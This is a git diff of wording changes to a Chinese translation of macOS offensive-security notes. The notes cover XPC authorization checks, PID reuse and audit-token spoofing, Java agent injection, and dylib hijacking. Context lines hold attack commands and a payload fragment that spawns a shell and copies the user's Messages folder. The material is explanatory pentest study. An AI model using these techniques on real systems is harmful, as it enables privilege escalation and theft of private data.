width="165">值</th><th>描述</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>任何人</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>没有人</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>当前用户需要是管理员(在管理员组内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>要求用户进行身份验证。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>要求用户进行身份验证。他需要是管理员(在管理员组内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>指定规则</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>指定一些关于权限的额外评论</td></tr></tbody></table>
|
||||
|
||||
@ -285,13 +285,13 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
||||
|
||||
然后,你需要找到协议模式,以便能够与 XPC 服务建立通信。
|
||||
|
||||
函数 **`shouldAcceptNewConnection`** 指示正在导出的协议:
|
||||
函数 **`shouldAcceptNewConnection`** 表示正在导出的协议:
|
||||
|
||||
<figure><img src="../../../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
在这种情况下,我们与 EvenBetterAuthorizationSample 中的相同,[**检查这一行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
在这种情况下,我们与 EvenBetterAuthorizationSample 中的相同,[**查看这一行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
|
||||
知道所使用的协议名称后,可以使用以下命令 **转储其头部定义**:
|
||||
知道所使用的协议名称后,可以使用以下命令 **转储其头文件定义**:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
1. 如果 **未验证**,客户端可能 **易受代码注入** 攻击。
|
||||
6. 检查连接的进程是否具有允许其连接到服务的 **权限**。这适用于 Apple 二进制文件。
|
||||
7. **验证** 必须 **基于** 连接 **客户端的审计令牌** **而不是** 其进程 ID (**PID**),因为前者可以防止 **PID 重用攻击**。
|
||||
- 开发者 **很少使用审计令牌** API 调用,因为它是 **私有的**,所以 Apple 随时可能 **更改**。此外,Mac App Store 应用不允许使用私有 API。
|
||||
- 开发者 **很少使用审计令牌** API 调用,因为它是 **私有的**,所以 Apple 可能会 **随时更改**。此外,Mac App Store 应用不允许使用私有 API。
|
||||
- 如果使用 **`processIdentifier`** 方法,可能会存在漏洞。
|
||||
- 应使用 **`xpc_dictionary_get_audit_token`** 而不是 **`xpc_connection_get_audit_token`**,因为后者在某些情况下也可能 [存在漏洞](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。
|
||||
|
||||
@ -36,7 +36,7 @@ macos-pid-reuse.md
|
||||
macos-xpc_connection_get_audit_token-attack.md
|
||||
{{#endref}}
|
||||
|
||||
### Trustcache - 降级攻击防范
|
||||
### Trustcache - 降级攻击防护
|
||||
|
||||
Trustcache 是一种防御方法,旨在 Apple Silicon 机器中引入,存储 Apple 二进制文件的 CDHSAH 数据库,以便仅允许未修改的二进制文件执行。这可以防止降级版本的执行。
|
||||
|
||||
@ -71,7 +71,7 @@ SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
|
||||
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
|
||||
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
|
||||
```
|
||||
如果开发者不想检查客户端的版本,他至少可以检查客户端是否不易受进程注入攻击:
|
||||
如果开发者不想检查客户端的版本,他至少可以检查客户端是否不易受到进程注入的攻击:
|
||||
```objectivec
|
||||
[...]
|
||||
CFDictionaryRef csInfo = NULL;
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## PID 重用
|
||||
|
||||
当 macOS **XPC 服务** 基于 **PID** 而不是 **审计令牌** 检查被调用的进程时,它容易受到 PID 重用攻击。该攻击基于 **竞争条件**,其中 **利用** 将 **消息发送到 XPC** 服务 **滥用** 功能,随后执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 使用 **允许的** 二进制文件。
|
||||
当 macOS **XPC 服务** 基于 **PID** 而不是 **审计令牌** 检查被调用的进程时,它容易受到 PID 重用攻击。此攻击基于 **竞争条件**,其中 **利用** 将 **消息发送到 XPC** 服务 **滥用** 功能,随后执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 以使用 **允许的** 二进制文件。
|
||||
|
||||
此函数将使 **允许的二进制文件拥有 PID**,但 **恶意的 XPC 消息会在此之前发送**。因此,如果 **XPC** 服务 **使用** **PID** 来 **验证** 发送者,并在执行 **`posix_spawn`** 之后检查它,它将认为消息来自 **授权** 进程。
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**有关更多信息,请查看原始帖子:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。这是一个总结:
|
||||
**有关更多信息,请查看原始帖子:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。这是一个摘要:
|
||||
|
||||
## Mach 消息基本信息
|
||||
|
||||
@ -23,9 +23,9 @@ Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **
|
||||
../
|
||||
{{#endref}}
|
||||
|
||||
## 漏洞总结
|
||||
## 漏洞摘要
|
||||
|
||||
你需要知道的是 **XPC 的抽象是一个一对一的连接**,但它是基于一种 **可以有多个发送者的技术,因此:**
|
||||
你需要知道的是 **XPC 的抽象是一个一对一连接**,但它是基于一种 **可以有多个发送者的技术,因此:**
|
||||
|
||||
- Mach 端口是单接收者,**多个发送者**。
|
||||
- XPC 连接的审计令牌是 **从最近接收到的消息中复制的审计令牌**。
|
||||
@ -41,7 +41,7 @@ Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **
|
||||
1. 变体1:
|
||||
- **利用** **连接** 到服务 **A** 和服务 **B**
|
||||
- 服务 **B** 可以调用服务 A 中用户无法调用的 **特权功能**
|
||||
- 服务 **A** 在 **`dispatch_async`** 中的 **事件处理程序** _**外部**_ 调用 **`xpc_connection_get_audit_token`**。
|
||||
- 服务 **A** 在 **`dispatch_async`** 中的连接 **事件处理程序** _**外部**_ 调用 **`xpc_connection_get_audit_token`**。
|
||||
- 因此,**不同** 的消息可能会 **覆盖审计令牌**,因为它在事件处理程序外部异步调度。
|
||||
- 利用将 **发送权** 传递给 **服务 B** 的服务 **A**。
|
||||
- 因此,服务 **B** 实际上将 **发送** 消息到服务 **A**。
|
||||
@ -50,7 +50,7 @@ Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **
|
||||
- 服务 **B** 可以调用服务 A 中用户无法调用的 **特权功能**
|
||||
- 利用与 **服务 A** 连接,**服务 A** 向利用发送一条 **期望回复** 的 **消息**,在特定的 **回复** **端口** 中。
|
||||
- 利用向 **服务** B 发送一条消息,传递 **该回复端口**。
|
||||
- 当服务 **B 回复** 时,它 **发送消息到服务 A**,**同时** **利用** 向服务 **A** 发送不同的 **消息**,试图 **达到特权功能**,并期望服务 B 的回复在完美时刻覆盖审计令牌(竞争条件)。
|
||||
- 当服务 **B 回复** 时,它将 **消息发送到服务 A**,**同时** 利用向服务 **A** 发送不同的 **消息**,试图 **达到特权功能**,并期望服务 B 的回复会在完美的时刻覆盖审计令牌(竞争条件)。
|
||||
|
||||
## 变体 1:在事件处理程序外部调用 xpc_connection_get_audit_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
@ -72,7 +72,7 @@ Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **
|
||||
|
||||
1. 使用标准 XPC 协议初始化与名为 `smd` 的服务的 **连接**。
|
||||
2. 形成与 `diagnosticd` 的二次 **连接**。与正常程序相反,而不是创建并发送两个新的 mach 端口,客户端端口发送权被替换为与 `smd` 连接相关联的 **发送权** 的副本。
|
||||
3. 结果,XPC 消息可以调度到 `diagnosticd`,但来自 `diagnosticd` 的响应被重定向到 `smd`。对 `smd` 来说,来自用户和 `diagnosticd` 的消息似乎来自同一连接。
|
||||
3. 结果,XPC 消息可以调度到 `diagnosticd`,但来自 `diagnosticd` 的回复被重定向到 `smd`。对于 `smd` 来说,来自用户和 `diagnosticd` 的消息似乎来自同一连接。
|
||||
|
||||

|
||||
|
||||
@ -93,13 +93,13 @@ Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **
|
||||
- 两个 mach 服务,称为 **`A`** 和 **`B`**,都可以建立连接。
|
||||
- 服务 **`A`** 应包括对只有 **`B`** 可以执行的特定操作的授权检查(用户的应用程序无法)。
|
||||
- 服务 **`A`** 应发送一条期望回复的消息。
|
||||
- 用户可以向 **`B`** 发送一条消息,**B** 将对此作出回应。
|
||||
- 用户可以向 **`B`** 发送一条消息,**B** 将对此进行回复。
|
||||
|
||||
利用过程涉及以下步骤:
|
||||
|
||||
1. 等待服务 **`A`** 发送一条期望回复的消息。
|
||||
2. 不直接回复 **`A`**,而是劫持回复端口并用于向服务 **`B`** 发送消息。
|
||||
3. 随后,发送一条涉及禁止操作的消息,期望它与来自 **`B`** 的回复并发处理。
|
||||
2. 而不是直接回复 **`A`**,回复端口被劫持并用于向服务 **`B`** 发送消息。
|
||||
3. 随后,发送一条涉及禁止操作的消息,期望它将与来自 **`B`** 的回复并发处理。
|
||||
|
||||
以下是所描述攻击场景的可视化表示:
|
||||
|
||||
@ -110,7 +110,7 @@ Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **
|
||||
## 发现问题
|
||||
|
||||
- **定位实例的困难**:静态和动态搜索 `xpc_connection_get_audit_token` 使用实例都很具挑战性。
|
||||
- **方法论**:使用 Frida 钩住 `xpc_connection_get_audit_token` 函数,过滤不来自事件处理程序的调用。然而,这种方法仅限于被钩住的进程,并需要主动使用。
|
||||
- **方法论**:使用 Frida 钩住 `xpc_connection_get_audit_token` 函数,过滤不来自事件处理程序的调用。然而,这种方法仅限于被钩住的进程,并且需要主动使用。
|
||||
- **分析工具**:使用 IDA/Ghidra 等工具检查可达的 mach 服务,但该过程耗时,复杂性增加,涉及 dyld 共享缓存的调用。
|
||||
- **脚本限制**:尝试为从 `dispatch_async` 块调用 `xpc_connection_get_audit_token` 的分析编写脚本时,由于解析块和与 dyld 共享缓存的交互的复杂性而受到阻碍。
|
||||
|
||||
@ -119,7 +119,7 @@ Mach 消息通过 _mach 端口_ 发送,这是一个内置于 mach 内核的 **
|
||||
- **报告问题**:向 Apple 提交了一份报告,详细说明了在 `smd` 中发现的一般和特定问题。
|
||||
- **Apple 的回应**:Apple 通过将 `xpc_connection_get_audit_token` 替换为 `xpc_dictionary_get_audit_token` 解决了 `smd` 中的问题。
|
||||
- **修复的性质**:`xpc_dictionary_get_audit_token` 函数被认为是安全的,因为它直接从与接收的 XPC 消息相关的 mach 消息中检索审计令牌。然而,它不是公共 API 的一部分,类似于 `xpc_connection_get_audit_token`。
|
||||
- **缺乏更广泛的修复**:尚不清楚为什么 Apple 没有实施更全面的修复,例如丢弃与连接的保存审计令牌不对齐的消息。在某些情况下(例如,使用 `setuid`)合法的审计令牌更改的可能性可能是一个因素。
|
||||
- **缺乏更广泛的修复**:尚不清楚为什么 Apple 没有实施更全面的修复,例如丢弃与连接的保存审计令牌不一致的消息。某些场景(例如 `setuid` 使用)中合法审计令牌更改的可能性可能是一个因素。
|
||||
- **当前状态**:该问题在 iOS 17 和 macOS 14 中仍然存在,给那些寻求识别和理解它的人带来了挑战。
|
||||
|
||||
{{#include ../../../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -114,7 +114,7 @@ Agent-Class: Agent
|
||||
Can-Redefine-Classes: true
|
||||
Can-Retransform-Classes: true
|
||||
```
|
||||
然后导出环境变量并运行 Java 应用程序,如:
|
||||
然后导出环境变量并运行 Java 应用程序,如下所示:
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
@ -141,7 +141,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
|
||||
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
```
|
||||
如果他们不这样做,你可以轻松地通过以下方式检查:
|
||||
如果他们没有,你可以轻松检查:
|
||||
```bash
|
||||
# Monitor
|
||||
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||
|
||||
@ -3,7 +3,7 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!CAUTION]
|
||||
> **dyld 的代码是开源的**,可以在 [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) 找到,并可以使用 **URL 如** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) 下载为 tar 文件。
|
||||
> **dyld 的代码是开源的**,可以在 [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) 找到,并可以使用 **URL 如** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) 下载为 tar。
|
||||
|
||||
## **Dyld 进程**
|
||||
|
||||
@ -59,7 +59,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> [!CAUTION]
|
||||
> 请记住,**先前的库验证限制也适用于执行 Dylib 劫持攻击**。
|
||||
|
||||
与 Windows 一样,在 MacOS 中,您也可以 **劫持 dylibs** 使 **应用程序** **执行** **任意** **代码**(实际上,作为普通用户,这可能不可行,因为您可能需要 TCC 权限才能写入 `.app` 包并劫持库)。\
|
||||
与 Windows 一样,在 MacOS 中,您也可以 **劫持 dylibs** 使 **应用程序** **执行** **任意** **代码**(实际上,从普通用户的角度来看,这可能不可行,因为您可能需要 TCC 权限才能写入 `.app` 包并劫持库)。\
|
||||
然而,**MacOS** 应用程序 **加载** 库的方式 **比 Windows 更受限制**。这意味着 **恶意软件** 开发人员仍然可以使用此技术进行 **隐蔽**,但能够 **滥用此技术以提升权限的可能性要低得多**。
|
||||
|
||||
首先,**更常见** 的情况是 **MacOS 二进制文件指示要加载的库的完整路径**。其次,**MacOS 从不在 **$PATH** 的文件夹中搜索库**。
|
||||
@ -69,13 +69,13 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
macho 二进制文件可以使用 **4 种不同的头命令** 来加载库:
|
||||
|
||||
- **`LC_LOAD_DYLIB`** 命令是加载 dylib 的常用命令。
|
||||
- **`LC_LOAD_WEAK_DYLIB`** 命令的工作方式与前一个相同,但如果未找到 dylib,执行将继续而不会出现任何错误。
|
||||
- **`LC_LOAD_WEAK_DYLIB`** 命令的工作方式与前一个相同,但如果未找到 dylib,执行将继续而不会出现错误。
|
||||
- **`LC_REEXPORT_DYLIB`** 命令代理(或重新导出)来自不同库的符号。
|
||||
- **`LC_LOAD_UPWARD_DYLIB`** 命令在两个库相互依赖时使用(这称为 _向上依赖_)。
|
||||
|
||||
然而,有 **2 种类型的 dylib 劫持**:
|
||||
|
||||
- **缺失的弱链接库**:这意味着应用程序将尝试加载一个不存在的库,配置为 **LC_LOAD_WEAK_DYLIB**。然后,**如果攻击者在预期加载的位置放置了一个 dylib,它将被加载**。
|
||||
- **缺失的弱链接库**:这意味着应用程序将尝试加载一个不存在的库,配置为 **LC_LOAD_WEAK_DYLIB**。然后,**如果攻击者在预期加载的位置放置了一个 dylib**。
|
||||
- 链接是“弱”的事实意味着即使未找到库,应用程序仍将继续运行。
|
||||
- 与此相关的 **代码** 在 `ImageLoaderMachO::doGetDependentLibraries` 函数中,`lib->required` 仅在 `LC_LOAD_WEAK_DYLIB` 为 true 时为 `false`。
|
||||
- **在二进制文件中查找弱链接库**(稍后您将看到如何创建劫持库的示例):
|
||||
@ -89,18 +89,18 @@ compatibility version 1.0.0
|
||||
```
|
||||
- **配置为 @rpath**:Mach-O 二进制文件可以具有 **`LC_RPATH`** 和 **`LC_LOAD_DYLIB`** 命令。根据这些命令的 **值**,**库** 将从 **不同目录** 加载。
|
||||
- **`LC_RPATH`** 包含用于通过二进制文件加载库的一些文件夹的路径。
|
||||
- **`LC_LOAD_DYLIB`** 包含要加载的特定库的路径。这些路径可以包含 **`@rpath`**,将被 **`LC_RPATH`** 中的值替换。如果 **`LC_RPATH`** 中有多个路径,将使用所有路径来搜索要加载的库。例如:
|
||||
- 如果 **`LC_LOAD_DYLIB`** 包含 `@rpath/library.dylib`,而 **`LC_RPATH`** 包含 `/application/app.app/Contents/Framework/v1/` 和 `/application/app.app/Contents/Framework/v2/`。这两个文件夹将用于加载 `library.dylib`**。** 如果库在 `[...]/v1/` 中不存在,攻击者可以将其放置在那里以劫持在 `[...]/v2/` 中加载库,因为遵循 **`LC_LOAD_DYLIB`** 中路径的顺序。
|
||||
- **`LC_LOAD_DYLIB`** 包含要加载的特定库的路径。这些路径可以包含 **`@rpath`**,将被 **`LC_RPATH`** 中的值 **替换**。如果 **`LC_RPATH`** 中有多个路径,将使用每个路径来搜索要加载的库。例如:
|
||||
- 如果 **`LC_LOAD_DYLIB`** 包含 `@rpath/library.dylib`,而 **`LC_RPATH`** 包含 `/application/app.app/Contents/Framework/v1/` 和 `/application/app.app/Contents/Framework/v2/`。这两个文件夹将用于加载 `library.dylib`**。** 如果库在 `[...]/v1/` 中不存在,攻击者可以将其放置在那里以劫持在 `[...]/v2/` 中加载库,因为 **`LC_LOAD_DYLIB`** 中的路径顺序被遵循。
|
||||
- **在二进制文件中查找 rpath 路径和库**:`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
|
||||
|
||||
> [!NOTE] > **`@executable_path`**:是 **主可执行文件** 所在目录的 **路径**。
|
||||
> [!NOTE] > **`@executable_path`**:是包含 **主可执行文件** 的 **目录** 的 **路径**。
|
||||
>
|
||||
> **`@loader_path`**:是 **包含** **Mach-O 二进制文件** 的 **目录** 的 **路径**,该文件包含加载命令。
|
||||
> **`@loader_path`**:是包含 **Mach-O 二进制文件** 的 **目录** 的 **路径**,该文件包含加载命令。
|
||||
>
|
||||
> - 在可执行文件中使用时,**`@loader_path`** 实际上与 **`@executable_path`** 相同。
|
||||
> - 在 **dylib** 中使用时,**`@loader_path`** 给出 **dylib** 的 **路径**。
|
||||
|
||||
滥用此功能以 **提升权限** 的方式是在 **应用程序** 由 **root** 执行时 **查找** 一些 **攻击者具有写权限的文件夹中的库**。
|
||||
滥用此功能以 **提升权限** 的方式是在 **应用程序** 由 **root** 执行时 **查找** 攻击者具有写权限的某个文件夹中的 **库**。
|
||||
|
||||
> [!TIP]
|
||||
> 一个很好的 **扫描器** 用于查找应用程序中的 **缺失库** 是 [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) 或 [**CLI 版本**](https://github.com/pandazheng/DylibHijack)。\
|
||||
@ -119,7 +119,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
|
||||
来自 **`man dlopen`**:
|
||||
|
||||
- 当路径 **不包含斜杠字符**(即它只是一个叶名称)时,**dlopen() 将进行搜索**。如果 **`$DYLD_LIBRARY_PATH`** 在启动时设置,dyld 将首先 **在该目录中查找**。接下来,如果调用的 mach-o 文件或主可执行文件指定了 **`LC_RPATH`**,则 dyld 将 **在这些** 目录中查找。接下来,如果进程是 **不受限制的**,dyld 将在 **当前工作目录** 中搜索。最后,对于旧二进制文件,dyld 将尝试一些后备方案。如果 **`$DYLD_FALLBACK_LIBRARY_PATH`** 在启动时设置,dyld 将在 **这些目录** 中搜索,否则,dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找(此信息来自 **`man dlopen`**)。
|
||||
- 当路径 **不包含斜杠字符**(即它只是一个叶名称)时,**dlopen() 将进行搜索**。如果 **`$DYLD_LIBRARY_PATH`** 在启动时设置,dyld 将首先 **在该目录中查找**。接下来,如果调用的 mach-o 文件或主可执行文件指定 **`LC_RPATH`**,则 dyld 将 **在这些** 目录中查找。接下来,如果进程是 **不受限制的**,dyld 将在 **当前工作目录** 中搜索。最后,对于旧二进制文件,dyld 将尝试一些后备方案。如果 **`$DYLD_FALLBACK_LIBRARY_PATH`** 在启动时设置,dyld 将在 **这些目录中搜索**,否则,dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找(此信息来自 **`man dlopen`**)。
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
2. `LC_RPATH`
|
||||
3. `CWD`(如果不受限制)
|
||||
@ -131,7 +131,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> 如果名称中没有斜杠,则有 2 种方法可以进行劫持:
|
||||
>
|
||||
> - 如果任何 **`LC_RPATH`** 是 **可写的**(但签名会被检查,因此为此您还需要二进制文件不受限制)
|
||||
> - 如果二进制文件是 **不受限制的**,那么可以从 CWD 加载某些内容(或滥用提到的环境变量之一)
|
||||
> - 如果二进制文件是 **不受限制的**,然后可以从 CWD 加载某些内容(或滥用提到的环境变量之一)
|
||||
|
||||
- 当路径 **看起来像框架** 路径(例如 `/stuff/foo.framework/foo`)时,如果 **`$DYLD_FRAMEWORK_PATH`** 在启动时设置,dyld 将首先在该目录中查找 **框架部分路径**(例如 `foo.framework/foo`)。接下来,dyld 将尝试 **按原样使用提供的路径**(使用当前工作目录进行相对路径)。最后,对于旧二进制文件,dyld 将尝试一些后备方案。如果 **`$DYLD_FALLBACK_FRAMEWORK_PATH`** 在启动时设置,dyld 将在这些目录中搜索。否则,它将搜索 **`/Library/Frameworks`**(在 macOS 上,如果进程不受限制),然后 **`/System/Library/Frameworks`**。
|
||||
1. `$DYLD_FRAMEWORK_PATH`
|
||||
@ -143,7 +143,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> [!CAUTION]
|
||||
> 如果是框架路径,劫持它的方法是:
|
||||
>
|
||||
> - 如果进程是 **不受限制的**,滥用 **相对路径从 CWD** 和提到的环境变量(即使文档中没有说明,如果进程受限,DYLD_* 环境变量会被移除)
|
||||
> - 如果进程是 **不受限制的**,滥用 **相对路径从 CWD** 提到的环境变量(即使文档中没有说明,如果进程受限制,DYLD_* 环境变量会被移除)
|
||||
|
||||
- 当路径 **包含斜杠但不是框架路径**(即到 dylib 的完整路径或部分路径)时,dlopen() 首先在(如果设置) **`$DYLD_LIBRARY_PATH`** 中查找(使用路径的叶部分)。接下来,dyld **尝试提供的路径**(使用当前工作目录进行相对路径(但仅适用于不受限制的进程))。最后,对于旧二进制文件,dyld 将尝试后备方案。如果 **`$DYLD_FALLBACK_LIBRARY_PATH`** 在启动时设置,dyld 将在这些目录中搜索,否则,dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找。
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
@ -155,16 +155,16 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> [!CAUTION]
|
||||
> 如果名称中有斜杠且不是框架,则劫持它的方法是:
|
||||
>
|
||||
> - 如果二进制文件是 **不受限制的**,那么可以从 CWD 或 `/usr/local/lib` 加载某些内容(或滥用提到的环境变量之一)
|
||||
> - 如果二进制文件是 **不受限制的**,然后可以从 CWD 或 `/usr/local/lib` 加载某些内容(或滥用提到的环境变量之一)
|
||||
|
||||
> [!NOTE]
|
||||
> 注意:没有配置文件来 **控制 dlopen 搜索**。
|
||||
>
|
||||
> 注意:如果主可执行文件是 **set\[ug]id 二进制文件或具有权限的代码签名**,则 **所有环境变量都将被忽略**,只能使用完整路径([检查 DYLD_INSERT_LIBRARIES 限制](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions)以获取更详细的信息)。
|
||||
> 注意:如果主可执行文件是 **set\[ug]id 二进制文件或具有权限的代码签名**,则 **所有环境变量都被忽略**,只能使用完整路径([检查 DYLD_INSERT_LIBRARIES 限制](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions)以获取更详细的信息)。
|
||||
>
|
||||
> 注意:Apple 平台使用“通用”文件来组合 32 位和 64 位库。这意味着没有单独的 32 位和 64 位搜索路径。
|
||||
> 注意:Apple 平台使用“通用”文件来组合 32 位和 64 位库。这意味着没有 **单独的 32 位和 64 位搜索路径**。
|
||||
>
|
||||
> 注意:在 Apple 平台上,大多数操作系统 dylibs 被 **组合到 dyld 缓存中**,并且在磁盘上不存在。因此,调用 **`stat()`** 预检操作系统 dylib 是否存在 **将不起作用**。然而,**`dlopen_preflight()`** 使用与 **`dlopen()`** 相同的步骤来查找兼容的 mach-o 文件。
|
||||
> 注意:在 Apple 平台上,大多数操作系统 dylibs 被 **组合到 dyld 缓存中**,并且在磁盘上不存在。因此,调用 **`stat()`** 以预检操作系统 dylib 是否存在 **将不起作用**。但是,**`dlopen_preflight()`** 使用与 **`dlopen()`** 相同的步骤来查找兼容的 mach-o 文件。
|
||||
|
||||
**检查路径**
|
||||
|
||||
@ -211,7 +211,7 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
如果你编译并执行它,你可以看到**每个库被搜索的失败位置**。此外,你还可以**过滤文件系统日志**:
|
||||
如果你编译并执行它,你可以看到**每个库被搜索但未成功的地方**。此外,你还可以**过滤文件系统日志**:
|
||||
```bash
|
||||
sudo fs_usage | grep "dlopentest"
|
||||
```
|
||||
@ -307,7 +307,7 @@ codesign -f -s <cert-name> --option=restrict hello-signed
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 请注意,即使有二进制文件带有标志 **`0x0(none)`**,它们在执行时也可以动态获取 **`CS_RESTRICT`** 标志,因此此技术在它们中将不起作用。
|
||||
> 请注意,即使有二进制文件带有标志 **`0x0(none)`**,它们在执行时也可以动态获取 **`CS_RESTRICT`** 标志,因此此技术在它们中不起作用。
|
||||
>
|
||||
> 您可以通过 (get [**csops here**](https://github.com/axelexic/CSOps)) 检查进程是否具有此标志:
|
||||
>
|
||||
|
||||
@ -22,7 +22,7 @@ execv("/bin/bash", 0);
|
||||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
攻击的二进制文件:
|
||||
二进制攻击目标:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
@ -6,18 +6,18 @@
|
||||
|
||||
Mach-o 二进制文件的真正 **入口点** 是动态链接的,定义在 `LC_LOAD_DYLINKER` 中,通常是 `/usr/lib/dyld`。
|
||||
|
||||
这个链接器需要定位所有可执行库,将它们映射到内存中,并链接所有非惰性库。只有在这个过程完成后,二进制文件的入口点才会被执行。
|
||||
这个链接器需要定位所有可执行库,将它们映射到内存中,并链接所有非惰性库。只有在这个过程之后,二进制文件的入口点才会被执行。
|
||||
|
||||
当然,**`dyld`** 没有任何依赖(它使用系统调用和 libSystem 摘录)。
|
||||
|
||||
> [!CAUTION]
|
||||
> 如果这个链接器包含任何漏洞,因为它在执行任何二进制文件(即使是高度特权的)之前被执行,那么就有可能 **提升权限**。
|
||||
> 如果这个链接器包含任何漏洞,因为它在执行任何二进制文件(即使是高度特权的)之前被执行,那么就有可能 **提升特权**。
|
||||
|
||||
### 流程
|
||||
|
||||
Dyld 将由 **`dyldboostrap::start`** 加载,这也会加载诸如 **栈金丝雀** 之类的内容。这是因为这个函数将在其 **`apple`** 参数向量中接收这些和其他 **敏感** **值**。
|
||||
Dyld 将由 **`dyldboostrap::start`** 加载,这也会加载一些东西,比如 **栈金丝雀**。这是因为这个函数将在其 **`apple`** 参数向量中接收这个和其他 **敏感** **值**。
|
||||
|
||||
**`dyls::_main()`** 是 dyld 的入口点,它的第一个任务是运行 `configureProcessRestrictions()`,通常会限制 **`DYLD_*`** 环境变量,详见:
|
||||
**`dyls::_main()`** 是 dyld 的入口点,它的第一个任务是运行 `configureProcessRestrictions()`,通常会限制 **`DYLD_*`** 环境变量,具体解释见:
|
||||
|
||||
{{#ref}}
|
||||
./
|
||||
@ -30,24 +30,24 @@ Dyld 将由 **`dyldboostrap::start`** 加载,这也会加载诸如 **栈金丝
|
||||
3. 然后是导入的库
|
||||
1.  然后继续递归导入库
|
||||
|
||||
一旦所有库都加载完成,这些库的 **初始化器** 将被运行。这些是使用 **`__attribute__((constructor))`** 编写的,定义在 `LC_ROUTINES[_64]`(现已弃用)或通过指针在标记为 `S_MOD_INIT_FUNC_POINTERS` 的部分中(通常是:**`__DATA.__MOD_INIT_FUNC`**)。
|
||||
